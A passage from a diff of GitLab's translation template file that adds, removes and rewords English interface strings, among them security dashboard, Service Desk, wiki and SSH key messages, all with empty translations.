+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -27250,13 +27964,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -27265,10 +27985,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -27283,6 +28003,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -27340,16 +28063,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -27415,15 +28150,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -27475,9 +28201,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -27487,9 +28210,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27526,6 +28246,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27535,7 +28258,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27565,9 +28288,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27622,9 +28351,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27718,6 +28444,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27856,19 +28585,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27970,6 +28723,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -28024,7 +28780,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -28036,6 +28792,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -28057,6 +28816,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -28270,9 +29032,15 @@ msgstr[5] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -28291,6 +29059,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28531,6 +29302,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -29209,13 +29983,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -29230,9 +30004,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -29245,7 +30016,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -29335,9 +30106,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -29353,9 +30121,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -29413,9 +30178,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -30049,6 +30811,15 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -30214,9 +30985,6 @@ msgstr[5] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -30289,6 +31057,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -30316,6 +31087,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -30328,6 +31102,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30394,6 +31171,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -30454,6 +31234,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30526,6 +31309,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30577,6 +31363,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30625,6 +31414,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30652,6 +31447,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30685,9 +31483,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30931,6 +31726,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -31069,7 +31867,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -31153,6 +31951,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -31162,6 +31963,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -31174,6 +31978,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -31480,9 +32287,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31579,9 +32383,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31888,6 +32689,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31930,9 +32740,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31960,7 +32767,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -32065,6 +32872,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -32266,10 +33076,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -32404,9 +33214,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -32461,6 +33268,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32863,7 +33676,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32872,6 +33685,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32968,6 +33784,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -33166,9 +33985,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -33220,6 +34036,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -33265,7 +34084,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -33493,9 +34315,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33562,7 +34381,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33571,6 +34405,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33730,9 +34570,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33760,6 +34606,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33769,6 +34618,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -34174,15 +35026,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -34357,6 +35224,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -34459,9 +35329,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34534,34 +35401,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34573,9 +35455,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34588,9 +35467,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34651,6 +35527,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34807,6 +35686,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34948,6 +35833,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -35032,9 +35920,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -35071,12 +35956,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -35110,7 +35989,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -35125,9 +36004,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -35311,12 +36187,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -35437,6 +36319,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35530,7 +36415,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35641,6 +36526,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35947,6 +36835,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -36151,6 +37048,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -36325,7 +37225,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -36364,13 +37264,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -36484,9 +37381,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
